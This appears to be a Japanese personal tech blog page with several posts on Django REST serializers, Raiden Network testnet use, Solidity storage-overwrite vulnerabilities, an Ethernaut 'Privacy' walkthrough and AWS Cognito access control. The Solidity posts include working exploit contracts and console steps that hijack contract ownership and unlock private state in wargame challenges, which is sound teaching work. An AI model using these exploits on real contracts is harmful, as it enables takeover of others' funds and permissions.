女子高生になりたい

はるみちゃんのブログだよ。えへへ。

【Django REST framework】POST時はForeignKeyをpkのみ指定し、GET時はネストしたオブジェクトを展開する

前置き

以下が、今回の例で使用するViewとModelです。

class PostViewSet(viewsets.ModelViewSet):
    authentication_classes = [FirebaseAuthentication]
    queryset = Post.objects.all()
    serializer_class = PostSerializer
class Post(models.Model):
    user = models.ForeignKey(User)
    comment = models.CharField(max_length=130, default='')

class User(models.Model):
    uid = models.CharField(primary_key=True, max_length=64)
    name = models.CharField(max_length=30)
class PostSerializer(serializers.ModelSerializer):
    user = UserSerializer()

    class Meta:
        model = Post
        fields = ('id', 'user', 'comment')

このような実装でviewに対しGETでエンドポイントを叩くと、以下のようなレスポンスが帰ってきます。

[
    {
        "id": 1,
        "user": {
            "uid": "uid-1",
            "name": "hoge1"
        },
        "comment": "hoge",
    },
    {
        "id": 3,
        "user": {
            "uid": "uid-2",
            "name": "hoge1",
        },
        "comment": "hogehoge"
    }
]

完璧ですね。ネストしたフィールドであるuserが展開されています。

ただし、この状態だとPOSTするときは以下のようなjsonを投げないといけません。。

{
    "user": {
        "uid": "hoge",
        "name": "hoge"
    },
    "comment": "hoge"
}

これは思っているのと違います。userはuidを指定するようにしたいですね。

そこで、PostSerializerを以下のように変更してみます。

class PostSerializer(serializers.ModelSerializer):
    user = serializers.PrimaryKeyRelatedField(queryset=User.objects.all())

    class Meta:
        model = Post
        fields = ('id', 'user', 'comment')

これで、以下のようにuidでpostできるようになりました!

{
    "user": "hoge_uid",
    "comment": "",
}

ただし、GETが・・・

[
    {
        "id": 1,
        "user": "hoge_uid",
        "comment": "hoge"
    },
    {
        "id": 2,
        "user": "hoge_uid2",
        "comment": "hoge"
    }
]

userがuidしか帰ってこなくなってしまいました。。

これは思ってるのと違いますね。。両立する方法を模索してみます。

本題

ここから本題です。

先程の2つの要件「POST時はネストしたオブジェクトをpkで指定」「GET時はネストしたオブジェクトを展開」を満たすように実装をしていきます。

ModelとViewに変更はありません。Serializerだけ変えていきます。

まず、以下のようにuserのserializerをread onlyに指定します

class PostSerializer(serializers.ModelSerializer):
    user = UserSerializer(read_only=True)

これの状態だと、GET時はネストしたオブジェクトが展開されて返さられます。 が、POSTの際にuserの指定ができなくなってしまいます。

そこで、更にuid用のフィールドを追加します。

class PostSerializer(serializers.ModelSerializer):
    user = UserSerializer(read_only=True)
    user_uid = serializers.PrimaryKeyRelatedField(queryset=User.objects.all(), write_only=True)
    class Meta:
        model = Post
        fields = ('id', 'user', 'user_uid', 'comment')

このとき、write_onlyを指定することによりこのフィールドをGET時には出さないようにしておきます。

これで、GET時は展開され、POST時はpk(user_uid)を指定することが可能になりました。

ただし、この状態ではPOSTしたときに「user_uid」カラムがModelにないためエラーが吐かれます。 そこで、最後にcreateメソッドをオーバーライドします。

class PostSerializer(serializers.ModelSerializer):
    user = UserSerializer(read_only=True)
    user_uid = serializers.PrimaryKeyRelatedField(queryset=User.objects.all(), write_only=True)

    def create(self, validated_date):
        validated_date['user'] = validated_date.get('user_uid', None)

        if validated_date['user'] is None:
            raise serializers.ValidationError("user not found.") 

        del validated_date['user_uid']

        return Post.objects.create(**validated_date)

user_uidを指定すると、validated_date['user_uid']には指定されたpkの「Userオブジェクト」が入っています。

Modelのフィールド名はuser_uidでなくuserなので、そのようにマッピングを変更した上でPostオブジェクトをcreateしてあげればOKです。

これで、POST時は以下のようなフォーマットで、

{
    "user_uid": "hoge_uid",
    "comment": "hoge",
}

GET時は以下のように展開されて帰ってきます。

{
    "id": 1,
    "user": {
        "uid": "hoge_uid",
        "name": "hoge",
    },
    "comment": "hoge"
}

これで意図していた通りに実装ができました!

凄く簡単な要件ですが、少しだけ工夫が必要なんですねー。

RaidenNetworkを動かしてみたメモ

概要

RaidenNetworkはERC20に準拠したトークンをオフチェーンで高速に送受金できるような仕組みです。
BitCoinでいう「LignthingNetwork」のEthereum版に相当します。
低コスト、スケーラブル、プライバシーが保護される、といった特徴があります。

RaidenNetworkではグローバルコンセンサスは必要ありません。
on chainにdepositしたトークンによって完全に担保されたbalance proofと呼ばれる 、電子署名とhash locked transfer技術によって達成されます。


(PaymentChannelの概念図 https://raiden.network/101.html から転載)

AとBでやりとりする時は、その間に「Payment Channel」と呼ばれる一時的なチャネルを作成しそこでやりとりします。
ここでのやり取りは実際のブロックチェーンに関与せず、一瞬で送受金することが可能です。
ただし、やり取り可能な限度額はon-chainにdepositした額までという制約があります。
また、このchanelを「生成する時」と「閉じる時」には実際のブロックチェーンに書き込む必要があります。

また、Raiden Networkは以下のようにPaymentChannelのネットワークを構築することが可能です。

以下だと例えば、AからDに送金するためにA->B->E->Dという経路で送金が可能になります。


この送金に手数料はかかりません。ただし、ネットワークの仲介者が手数料を取ろうと思えば取ることも可能です。
問題点が、A->B->E->Dのルートで送金する際、全てのPaymentChannelで送金額以上のdepositをしておく必要があるということです。
この性質のため、Raiden Networkは多額の送金には向いていません。

一方で、少額取引(micro payment)には非常に有用です。

RaidenNetworkを動かしてみる

起動

  • installする
    macならhomebrewで入ります
brew tap raiden-network/raiden
brew install raiden

今回入れたのはv0.11.0です(2018/10/05にv0.12がリリースされています)

  • Ropstenテストネットワークに接続
    Ropsten以外だと、raiden起動時にThe chosen ethereum network id '3' differs from the ethereum client '15'. Please update your settings.って怒られました。
    現状はRopstenでしか動かせないようです。

なので今回はInfura経由ノード経由で接続したいと思います

raiden --keystore-path  ~/.ethereum/testnet/keystore --eth-rpc-endpoint "https://ropsten.infura.io/v3/<yourToken>"

上記コマンドを実行する前に、~/.ethereum/testnet/keystore秘密鍵を設置しておく必要があります。
Metamaskで登録してあるアカウントを書き出そうと思ったんですけど、keystoreのjsonファイルを出力することはできないようです。

そこで、nakajoさんが公開されているhdwallet-to-keystoreを利用します。

$ hd2keystore "north hoge hoge ......" password >> ~/.ethereum/testnet/keystore/account1.json
$ hd2keystore -i 1 "north hoge hoge ......" password >> ~/.ethereum/testnet/keystore/account2.json

送受信を試すので、2つのアドレスを登録しておきましょう。
これでOKです。raiden networkを起動します。

起動してしばらくすると、

The Raiden API RPC server is now running at http://127.0.0.1:5001/

APIサーバが立ち上がります。アドレスを選択する画面になりますので、いずれかを選択します。

起動後、リクエストが通る事を確認します。

$curl -i http://localhost:5001/api/1/address
{"our_address": "0xxxxxxxxxxxxxxxxxxxx"}

これで準備完了です!

ERC20トークンの送受金

まず、トークンをraiden networkに登録する必要があります。
とりあえず既に登録されていないか確認しておきましょう。

curl -i http://localhost:5001/api/1/tokens | grep 0xxxxxxx

登録済みでなければ、トークンを登録します。
公式ドキュメントに

For the Raiden Red Eyes release, it will not be possible to register more than one token, due to security reasons in order to minimise possible loss of funds in the case of bugs.

と書いてある通り、1つのトークンしか登録できないようで注意が必要です。

また、公式ドキュメントではhexアドレスを指定しているようですが、EIP55に基づいてエンコードしないと

{"errors": ["invalid endpoint", "Not a valid EIP55 encoded address."]}

とエラーが帰ってくるので注意が必要です。

全て小文字のhexアドレスしか持っていない場合は、https://ropsten.etherscan.io でそのアドレスを入れる事で、簡単にEIP55準拠のアドレスを取得することができます。

curl -i -X PUT http://localhost:5001/api/1/tokens/0xxxxxxxx -H 'Content-Type: application/json'
HTTP/1.1 201 CREATED
mimetype: application/json
Content-Type: application/json
Content-Length: 71
Date: Thu, 11 Oct 2018 06:04:24 GMT

{"token_network_address": "0xxxxxxxx"}

トークンの登録が完了しました。

Payment Channelを開く

トークンの登録が完了したので、Paymentchannelを開きます

curl -i -X PUT http://localhost:5001/api/1/channels -H 'Content-Type: application/json' --data-raw '{"balance": 1000, "partner_address": "0xxxxxxxxxxxxxxx", "settle_timeout": 500, "token_address": "0xxxxxxxxxxxxx"}'
HTTP/1.1 201 CREATED
mimetype: application/json
Content-Type: application/json
Content-Length: 325
Date: Thu, 11 Oct 2018 06:28:11 GMT

{"partner_address": "0xxxxxxxxxxxxxxxxx", "settle_timeout": 500, "balance": 0, "channel_identifier": 1, "reveal_timeout": 10, "token_address": "0xxxxxxxxxxxxxxx", "token_network_identifier": "0xxxxxxxxxxxxx", "state": "opened", "total_deposit": 0}

これでPayment Channelが開きました

Depositする

最初のアドレスがトークンアドレス、2つ目が参加者のアドレスです

curl -i -X PATCH http://localhost:5001/api/1/channels/0xxxxxxxxxxxx/0xxxxxxxxxxxxxx-H 'Content-Type: application/json' --data-raw '{"total_deposit": 10000}'
HTTP/1.1 200 OK
mimetype: application/json
Content-Type: application/json
Content-Length: 333
Date: Thu, 11 Oct 2018 06:40:43 GMT

{"partner_address": "0xxxxxxxxxx", "settle_timeout": 500, "balance": 10000, "channel_identifier": 1, "reveal_timeout": 10, "token_address": "0xxxxxxxxxxxxxx", "token_network_identifier": "0xxxxxxxxxxxxxx", "state": "opened", "total_deposit": 10000}

これで最初のユーザはDepositが完了しました。

もう1人のユーザもDepositする必要がありますので、やっていきます。
まず、もう1人のユーザを選択してraidenを立ち上げます。

raiden --keystore-path  ~/.ethereum/testnet/keystore --api-address 127.0.0.1:5002 --eth-rpc-endpoint "https://ropsten.infura.io/v3/*******"

depositします

$ curl -i -X PATCH http://localhost:5002/api/1/channels/0x12c6a63eb028e6dEE546b60f54460F8e008baf34/0x31253350aFc5b923F88ED45e89721A3f3c64d21F -H 'Content-Type: application/json' --data-raw '{"total_deposit": 12000}'

トークンのやり取りをする

パートナーにERC20トークンを送金してみます。
1つ目のアドレスはトークンのアドレス。2つ目はパートナーのアドレスです。

curl -i -X POST http://localhost:5001/api/1/payments/0x12c6a63eb028e6dEE546b60f54460F8e008baf34/0x0aB9FF4b4A8D98ae78f87062874e6F652152f59D -H 'Content-Type: application/json' --data-raw '{"amount": 40}'
HTTP/1.1 200 OK
mimetype: application/json
Content-Type: application/json
Content-Length: 242
Date: Thu, 11 Oct 2018 09:02:51 GMT

{"amount": 40, "target_address": "0x0aB9FF4b4A8D98ae78f87062874e6F652152f59D", "identifier": 164889477444762312, "token_address": "0x12c6a63eb028e6dEE546b60f54460F8e008baf34", "initiator_address": "0x31253350aFc5b923F88ED45e89721A3f3c64d21F"}

残高を確認してみます。

5001

$ curl -X GET http://127.0.0.1:5001/api/1/channels
[{"partner_address": "0x0aB9FF4b4A8D98ae78f87062874e6F652152f59D", "settle_timeout": 500, "total_deposit": 12000, "reveal_timeout": 10, "token_network_identifier": "0xe764B50C97166C71626AB3CB5B18bd01eDe1ef80", "balance": 11960, "channel_identifier": 1, "token_address": "0x12c6a63eb028e6dEE546b60f54460F8e008baf34", "state": "opened"}]P

5002

$ curl -X GET http://127.0.0.1:5002/api/1/channels
[{"token_network_identifier": "0xe764B50C97166C71626AB3CB5B18bd01eDe1ef80", "token_address": "0x12c6a63eb028e6dEE546b60f54460F8e008baf34", "reveal_timeout": 10, "total_deposit": 12000, "settle_timeout": 500, "channel_identifier": 1, "partner_address": "0x31253350aFc5b923F88ED45e89721A3f3c64d21F", "balance": 12040, "state": "opened"},

40トークン増加・減少していることがわかります。

トークンの引き出し(Payment ChannelのClose)

curl -i -X PATCH http://localhost:5001/api/1/channels/0x12c6a63eb028e6dEE546b60f54460F8e008baf34/0x0aB9FF4b4A8D98ae78f87062874e6F652152f59D -H 'Content-Type: application/json' --data-raw '{"state": "closed"}'
$ curl -i -X PATCH http://localhost:5001/api/1/channels/0x12c6a63eb028e6dEE546b60f54460F8e008baf34/0x0aB9FF4b4A8D98ae78f87062874e6F652152f59D -H 'Content-Type: application/json' --data-raw '{"state": "closed"}'
HTTP/1.1 200 OK
mimetype: application/json
Content-Type: application/json
Content-Length: 333
Date: Thu, 11 Oct 2018 09:44:48 GMT

{"partner_address": "0x0aB9FF4b4A8D98ae78f87062874e6F652152f59D", "settle_timeout": 500, "total_deposit": 12000, "reveal_timeout": 10, "token_network_identifier": "0xe764B50C97166C71626AB3CB5B18bd01eDe1ef80", "balance": 11960, "channel_identifier": 1, "token_address": "0x12c6a63eb028e6dEE546b60f54460F8e008baf34", "state": "closed"}

settle_timeoutがpayment channelがcloseしてから、チャンネルが解決する(メインのブロックチェーンに資産を戻す)までに必要なブロック数になります。 デフォルトでは500のようですね。短くしておけば良かったです・・。

statusがclosedになっている事がわかります

 curl -X GET http://127.0.0.1:5001/api/1/channels
[{"partner_address": "0x0aB9FF4b4A8D98ae78f87062874e6F652152f59D", "settle_timeout": 500, "total_deposit": 12000, "reveal_timeout": 10, "token_network_identifier": "0xe764B50C97166C71626AB3CB5B18bd01eDe1ef80", "balance": 11960, "channel_identifier": 1, "token_address": "0x12c6a63eb028e6dEE546b60f54460F8e008baf34", "state": "closed"}]P

もう片方のノードを参照しても、同じくclosedになっています。

$ curl -X GET http://127.0.0.1:5002/api/1/channels
[{"token_network_identifier": "0xe764B50C97166C71626AB3CB5B18bd01eDe1ef80", "token_address": "0x12c6a63eb028e6dEE546b60f54460F8e008baf34", "reveal_timeout": 10, "total_deposit": 12000, "settle_timeout": 500, "channel_identifier": 1, "partner_address": "0x31253350aFc5b923F88ED45e89721A3f3c64d21F", "balance": 12040, "state": "closed"},

settle_timeoutの分だけ待つと、statusがclosedからsettleに変わり、トークンが戻ってきます。

以下はトークンのTransferイベントログです。depositした12000トークンに40トークン送受金した額が反映されて、メインチェーンに戻ってきていることが確認できます。

f:id:sakata_harumi:20181012133353p:plain

まとめ

トークンの登録から、PaymentChannelの確立、送金出金まで一通り試すことができました。

App版のチュートリアルも公式は提供しているので、そちらでも動作を体験することができます。

現在はRopstenテストネットワークで開発版が動いている状態なので検証にしか使えませんが、将来的に採用していきたい技術だと思います。
ただこれ、(勘違いだったら恐縮なのですが)1アドレスにつき1つのraidn nodeを立ち上げないといけないっぽいんですよね。
立ち上がるのも若干時間がかかったりと、なかなかユーザに使ってもらうようにするのは実装が難しそうです。

意図せずstorage領域が書き換えられてしまう2大パターン

はじめに

Solidityでは意図せずstorage領域を書き換えられてしまう可能性があります。

アクセス修飾子は関係ありません。privateな変数であっても脆弱性のあるコードを書くと簡単に書き換えられてしまいます。

今回はstorage領域が意図せず書き換えられてしまう2つのコードを見ていきます。

1. delegatecallを使用した例

delegatecallとcallcode、callの違いについては以下の記事に図付きでわかりやすく書かれています。

qiita.com

記事中にも書かれている通り、delegatecall実行元のコントラクトをA、呼び出し先のコントラクトをBとしたとき、Bが指すStorage領域はAのものになるんです。

サラッと書いてますが、この使用が場合によっては致命的な脆弱性になりえます。

具体的にコードを見ていきます。コードはEthernautのPreservationから転載しました。

pragma solidity ^0.4.23;

contract Preservation {

  // public library contracts 
  address public timeZone1Library;
  address public timeZone2Library;
  address public owner; 
  uint storedTime;
  // Sets the function signature for delegatecall
  bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

  constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
    timeZone1Library = _timeZone1LibraryAddress; 
    timeZone2Library = _timeZone2LibraryAddress; 
    owner = msg.sender;
  }
 
  // set the time for timezone 1
  function setFirstTime(uint _timeStamp) public {
    timeZone1Library.delegatecall(setTimeSignature, _timeStamp);
  }

  // set the time for timezone 2
  function setSecondTime(uint _timeStamp) public {
    timeZone2Library.delegatecall(setTimeSignature, _timeStamp);
  }
}

// Simple library contract to set the time
contract LibraryContract {

  // stores a timestamp 
  uint storedTime;  

  function setTime(uint _time) public {
    storedTime = _time;
  }
}

結論から言えば、このコントラクトのaddress public owner;を書き換えることができてしまいます。

手順を解説していきます。

まず前提として、このコントラクトをデプロイするときにはLibraryContractのアドレスがtimeZone1LibraryAddressとtimeZone2LibraryAddressに渡され、セットされるものとします。

LibraryContractを見ると、uint storedTime;というstorage変数が宣言されており、setTime(uint)でstoredTimeに値をセットするようなコードになっています。

この関数をdelegatecallで呼び出すと、storage領域は呼び出し元のコントラクトの領域が参照されます。

つまり、storedTimeの領域はstorageの「スロット0」に該当しますので、delegatecall経由で呼び出すと、呼び出し元の「スロット0」の領域が書き換わります。

呼び出し元のstorage領域のスロット0に該当するのはaddress public timeZone1Library;ですね。

こいつが書き換わってしまいます。つまり、timeZone1Libraryを好きな値に書き換えられます


そこで、timeZone1Libraryを悪意のあるコントラクトのアドレスに差し替えてみます。

具体的には以下のような、「owner変数=スロット2の領域を自分のアドレスに書き換える」ようなコントラクトにします。

pragma solidity ^0.4.24;

contract MyLibraryContract {

  address public timeZone1Library; 
  address public timeZone2Library;
  address public owner;           
  uint storedTime; 

  function setTime(uint _time) public {
    owner = tx.origin;
  }
}

このコントラクトがdelegatecall経由で呼び出されると、呼び出し元storage領域のスロット2がtx.originに書き換わってしまいます。

これでowner権限を乗っ取ることができてしまいました。怖いですね。。


最後に、このコントラクトのowner権限を奪うまでの具体的な手順をまとめてみます。

(1)MyLibraryContract(上記のもの)をデプロイし、コントラクトアドレスを入手する

(2)以下のようなコントラクトをデプロイ氏、hack関数を実行する。 targetには攻撃先のコントラクト、libAddrには(1)でデプロイしたコントラクトのアドレスを入れる。

contract PreservationHack {
    function hack(address target, address libAddr) public {
        require(target.call(bytes4(keccak256("setSecondTime(uint256)")), uint256(libAddr)));
    }
}

(3)timeZone1LibraryのアドレスがMyLibraryContractのものに書き換わったので、setFirstTimeを呼び出す(引数は使われないので何でも良い)

contract.setFirstTime(0)

これで、ownerが変わっている事を確認できます。

(await contract.owner()).valueOf()
"0xe3545ebaa3a0381ebd9f0868ae61b5dc89962ef5"
↓
(await contract.owner()).valueOf()
"0x31253350afc5b923f88ed45e89721a3f3c64d21f"

2. storage変数を使用した例

次に、storage変数を使用した例をみていきます。

実は、Mapping、Array、Structに関しては関数内でしか使用していない変数であっても、何もキーワードをつけなければ「storage」として初期化されます。

問題が、こいつがstorage領域を上書きするということなんですよね。。

具体例を見ていきます。 コードはEthernautのLockedからの転載です。

pragma solidity ^0.4.23; 

// A Locked Name Registrar
contract Locked {

    bool public unlocked = false;  // registrar locked, no name updates
    
    struct NameRecord { // map hashes to addresses
        bytes32 name; // 
        address mappedAddress;
    }

    mapping(address => NameRecord) public registeredNameRecord; // records who registered names 
    mapping(bytes32 => address) public resolve; // resolves hashes to addresses
    
    function register(bytes32 _name, address _mappedAddress) public {
        // set up the new NameRecord
        NameRecord newRecord;
        newRecord.name = _name;
        newRecord.mappedAddress = _mappedAddress; 

        resolve[_name] = _mappedAddress;
        registeredNameRecord[msg.sender] = newRecord; 

        require(unlocked); // only allow registrations if contract is unlocked
    }
}

storage変数としてbool public unlocked=falseが宣言されています。

他の関数内ではunlockedに値を代入するコードは一切ないので、一見すると値を書き換えることは不可能のように思います。

・・が、書き換えることができてしまいます。

脆弱性となっているはregisterで構造体を初期化していることです。

NameRecord newRecord;storage変数として初期化されます

そして、nameに相当する部分はstorage領域のスロット0を上書きします

実際に試してみます。

contract.register((new String("0x0000000000000000000000000000000000000000000000000000000000000001")).valueOf(), "0x31253350afc5b923f88ed45e89721a3f3c64d21f")

register関数の引数に0x01を入れているだけです。(第二引数は何でも良いです)

これで、storage変数が書き換わってしまいます。

await contract.unlocked()
true

・・・気づかずやってしまいそうですね。

因みに、false=0x0なのでスロット0が0アドレスで初期化されてるせいで起こるバグなんじゃないか?と思われるかもしれませんが、そうではありません。

以下のようなuint256型で初期値として既に数値が入っているようなコントラクトコードでも勿論再現します。

pragma solidity ^0.4.23; 

contract ReWriteStorage {

    uint256 public firstNumber = 1000;
    uint256 public secondNumber = 2000;

    struct NameRecord {
        bytes32 name; 
        address mappedAddress;
    }

    function register(bytes32 _name, address _mappedAddress) public {
        NameRecord newRecord;
        newRecord.name = _name;
        newRecord.mappedAddress = _mappedAddress; 
    }
}

f:id:sakata_harumi:20181009224509p:plain

register呼び出し前の状態。firstNumberとsecondNumber共に初期値が入っていることが確認できます。

f:id:sakata_harumi:20181009224515p:plain

呼び出し後の状態。fisrstNumberが0x01を入れたので1に変更され、scondNumberがアドレスをuint256にキャストした長い数値が入っている事がわかります。

まとめ

Solidityは初見殺しの罠が多すぎる。

ethernaut #12 Privacy を解く

ethernautについて

ethernautはスマートコントラクトの脆弱性を発見し、攻撃するシミュレーションができるプラットフォームです。

Ethereumスマートコントラクト開発者にはお馴染みのOpenZeppelinが提供してくれています。

遊び方は簡単。脆弱性のあるスマートコントラクトをテストネットワークにデプロイし、そのコントラクトに攻撃を仕掛けるだけです。

攻撃後、submitボタンでコントラクトを提出することで正解かどうかがチェックしてもらえます。

詳しい遊び方は0問目のHello Ethernautを参照。現時点では全19問あり、今後も追加されていくようです。


今回は、12問目のPrivacyという問題を解いていきたいと思います。

12問目からなのは、1~11問目は既にパッと探して日本語記事が公開されていたからです。

Privacy

ethernautの12問目、Privacyを解いていきます。問題ページは以下です。 https://ethernaut.zeppelin.solutions/level/0x76b9fade124191ff5642ba1731a8279b30ebe644

問題

今回攻撃対象となるコントラクトコードは以下のようなものです。

unlock関数を呼び出して、lockを解除するのが目的になります。

unlockするには見ての通りrequire(_key == bytes16(data[2]));のチェックを突破しなければなりません。

pragma solidity ^0.4.18;

contract Privacy {

  bool public locked = true;
  uint256 public constant ID = block.timestamp;
  uint8 private flattening = 10;
  uint8 private denomination = 255;
  uint16 private awkwardness = uint16(now);
  bytes32[3] private data;

  function Privacy(bytes32[3] _data) public {
    data = _data;
  }
  
  function unlock(bytes16 _key) public {
    require(_key == bytes16(data[2]));
    locked = false;
  }

  /*
    A bunch of super advanced solidity algorithms...

      ,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
      .,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
      *.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^         ,---/V\
      `*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.    ~|__(o.o)
      ^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'  UU  UU
  */
}

解法

「data[2]に何が入っているのか」と「bytes32をbytes16にキャストしたらどうなるのか」がわかれば解くことができそうですね!

data[2]に何が入っているのかを調査する

privateであろうが、publicであろうがstorage変数は覗くことができるので、何が入っているかとりあえず出力させてみることにします。

for(let i=0; i<10; i++){
  this.web3js.eth.getStorageAt("0x70b4315C3cb4eba2FD37789C9c885DdEB2329D8A", i, function(error, result){
    console.log("--------" + i + "----------");
    console.log(error);
    console.log(result);
  });
}

web3jsにはweb3.eth.getStorageAtというAPIがあり、これを使うことでstorage領域を参照することができます。

(上記リンクは0.2系ですが、1.0系にもあります。(web3js 1.0)getstorageat

で、以下のような結果が出力されました。

0)0x0000000000000000000000000000000000000000000000000000007216ff0a01
1)0x1348393c2e054f7265a4892bbd180da832362a68875fbbb64226b49536f95aa1
2)0x58a7f2d0b99ddefeabea119e0f3e65e6b44685d315dfb004ea56788deed16e27
3)0xf7a3c40c3fff543d401e5248aca97cd13f9921008fb8038ee198a3e13d4d4f3d

index 4移行は0x0だったので省略しています。

この中のどこかがdata[2]に該当する部分のようです。

それを何とか探し当てていきます。

storageへのデータ格納方法はいくつかの「ルール」が存在します。

  • 各スロットは256bit(32byte)単位で確保される
  • コントラクトコードで定義した順に格納されていく
  • storage変数が256bitに満たない場合は、1つのスロットを複数変数で共有する
  • 定数はこの領域を使用しない

詳しくはSolidityのドキュメントのMiscellaneousの項目に書かれていますので参照してみてください。


このルールを知った上で、出力結果のバイト列を見ていきましょう。

その前に、コントラクトで宣言されている変数を再掲しておきます。

bool public locked = true;
uint256 public constant ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(now);
bytes32[3] private data;

コントラクトコードで定義した順に格納されていく」のでまずbool型のlockedが保存されているはずです。

これは最初のスロット0x0000000000000000000000000000000000000000000000000000007216ff0a01の一番右端「01」が該当します。

次はuint256のIDですが、これは定数なので無視します。

uint8のflattening(= 10)です。これは先程の「01」の左隣「0a」ですね。

uint8のdenomination(= 255)ですが、これは先程の「0a」の左隣の「ff」にあたります。

uint16のawkwardnessは「ff」の左隣2byte「7216」が相当します。

256bitに満たない変数は1スロットにパッキングされて入っていることが確認できました。

最後、bytes32[3]のdataですが、32byte=256bitなので3つ分のスロットを丸々専有します。 つまり・・ data[0] = 0x1348393c2e054f7265a4892bbd180da832362a68875fbbb64226b49536f95aa1 data[1] = 0x58a7f2d0b99ddefeabea119e0f3e65e6b44685d315dfb004ea56788deed16e27 data[2] = 0xf7a3c40c3fff543d401e5248aca97cd13f9921008fb8038ee198a3e13d4d4f3d

となります。これでdata[2]に何が入っているかがわかりました!

bytes32をbytes16にキャストした時の挙動を調査する

これは実際に簡単なコントラクトをデプロイしてみて挙動を調査しました。

pragma solidity ^0.4.24;

contract CastTest {
    event Log(bytes16 log);
    function show() public {
        bytes32 data = 0xf7a3c40c3fff543d401e5248aca97cd13f9921008fb8038ee198a3e13d4d4f3d;
        emit Log(bytes16(data));
    }
}

show関数を呼び出すと、Logイベントが発火しその中にbytes32をbytes16にキャストした結果を入れているだけです。

実行してみると、以下のような結果が帰ってきました。

Ropsten Transaction 0xb25d33841156eb5508cf26f816939eaad520a596551465f06fdd9b6abf27b733

f7a3c40c3fff543d401e5248aca97cd100000000000000000000000000000000

下位の半分が削ぎ落とされるんですね。

これで_keyに何を渡したらいいのかがわかりました。

Unlockを呼び出す

最後に、以下のトランザクションを発行しコントラクトに攻撃をしかけます。

(developper consoleから実行)

contract.unlock("0xf7a3c40c3fff543d401e5248aca97cd1")

トランザクションが取り込まれると・・

await contract.locked()
false

無事unlockできました!これでsubmitするとこの問題は完了です。

Plasmaについてチームで共有したのでその時の資料を共有します

Plasma全然わかんないんですけど、チームでPlasmaについて少し話したのでその時の資料を共有します。

間違っている部分とか結構あると思うんで、なにかあればTwitterにDMなど貰えると嬉しいです。 さかた(JK) (@a1234224576a) | Twitter

speakerdeck.com

うーん、難しいなあ・・ PlasmaCash、Debit、XTあたりはもっとちゃんとEthereumResearch追って理解してきます。

CognitoIDPool+CognitoUserPool+外部IDProviderで独自認証とSNS認証を実装し、アカウントに対してDynamoDBの行レベルアクセス制限をかける

内容

メールアドレス+パスワード認証、Facebook認証によりサインインし、AWSサービスの一時的なアクセス権限を取得する。

それを使って、DynamoDBにアクセスしてデータを取得する。

ただし、DynamoDBには自分のIDに該当するデータしか取得することはできないように制限する。

以上を実現しました。

用語

CognitoIDプール(フェデレーティッドアイデンティティ

ユーザに対してユニークなIDを生成する。

このIDにより、権限が制限された一時的なAWS認証情報を取得して、別のAWSサービスにアクセスすることができる

CognitoUserプール

ユーザのサインイン、サインアップなどの機能を提供する。

多要素認証や二段階認証、プロフィール管理など便利な機能が多い。

IDプール外部IDプロバイダー(今回はFacebook

CognitoIDプールから得るユニークなIDをFacebookなどのソーシャルアカウント認証に基づいて取得するもの

サンプルアプリのリポジトリ

実装したコードは以下に置いてあります。

Info.plistにあるFacebookAppID/FacebookDisplayNameとConstant.swiftにある定数は自分の環境のものに書き換えてください。

github.com

ロジックフロー

具体的な実装に関してはリポジトリを参照してください。

(1) LoggedInViewControllerが生成される

storyBoardからrootViewControllerに指定してあるLoggedInViewControllerがまずはインスタンス化されて画面に表示されます


(2) LoggedInViewControllerのviewDidLoadで「CognitoClient.sharedInstance.credentialProvider.getIdentityId()」がcallされる

refreshメソッドの中の「CognitoClient.sharedInstance.fetchId()」は内部で.credentialProvider.getIdentityIdをcallしています。


(3)MyIdProbiderの「logins」がcallされる

.credentialProvider.getIdentityIdがcallされると、内部でAWSIdentityProviderManagerの.loginsがcallされます。

ここではじめて、どのアカウントでもサインインしていない事が発覚します。(サインインしている場合はIDが返されます)


(4)ログイン画面が表示される

どのアカウントでもサインインしていない場合、loginsの下の方にある「.userpool.currentUser()?.getDetails()」がcallされます。

これにより、サインインしていない場合は「AWSCognitoIdentityInteractiveAuthenticationDelegateのstartPasswordAuthentication()」がcallされます。

AWSCognitoIdentityInteractiveAuthenticationDelegateは今回AppDelegate内で準拠しています。

デリゲートの設定はCognitoClient.swiftから行なっていますので参照してみてください。


(5)ログインに成功するとdismissし、LoggedInViewControllerにIDが表示される

ログインに成功すると、AWSCognitoIdentityPasswordAuthenticationのdidCompleteStepWithErrorがcallされます。

この中でdismissとrefreshをしています。

ざっくりとした流れはこんな感じです。

LoggedInViewControllerのfetchボタンをタップすると、データが存在する場合は値を取得できるかと思います。

DynamoDBの行レベルアクセス制限を実現するためのIAMの設定

ドキュメント: Amazon DynamoDB: Amazon CognitoID に基づいた DynamoDB への行レベルのアクセスを許可する - AWS Identity and Access Management

IAM Management Consoleへ行き、新規でポリシーを作ります。名前は何でも構いません。

JSONタブを選択し、ドキュメントに書かれているように以下のJSONを記載し、作成します。
<TABLE-NAME>は書き換える)

ACCOUNTNUMBERはアカウント設定に書かれているアカウントIDの事です。

{
     "Version": "2012-10-17",
     "Statement": [
         {
             "Effect": "Allow",
             "Action": [
                 "dynamodb:DeleteItem",
                 "dynamodb:GetItem",
                 "dynamodb:PutItem",
                 "dynamodb:Query",
                 "dynamodb:UpdateItem"
             ],
             "Resource": [
                 "arn:aws:dynamodb:<REGION>:<ACCOUNTNUMBER>:table/<TABLE-NAME>"
             ],
             "Condition": {
                 "ForAllValues:StringEquals": {
                     "dynamodb:LeadingKeys": [
                         "${cognito-identity.amazonaws.com:sub}"
                     ]
                 }
             }
         }
     ]
 }

このポリシーをアタッチしていきます。

CognitoIDプールを作成したときに、「Cognito_****Auth_Role」といったロールが作成されていると思います。(デフォルト)

そこに先ほど作ったポリシーをアタッチします。


次に、DynamoDBにテーブルを作成します。この時テーブルの名前を先ほどポリシーを作る時に<TABLE-NAME>で指定した名前にすることを忘れないでください。

そして、パーティションキーにCognitoIDプールから得られるユーザのIDを入れます。これでユーザは自分のIDの行しか読み込むことができなくなります。

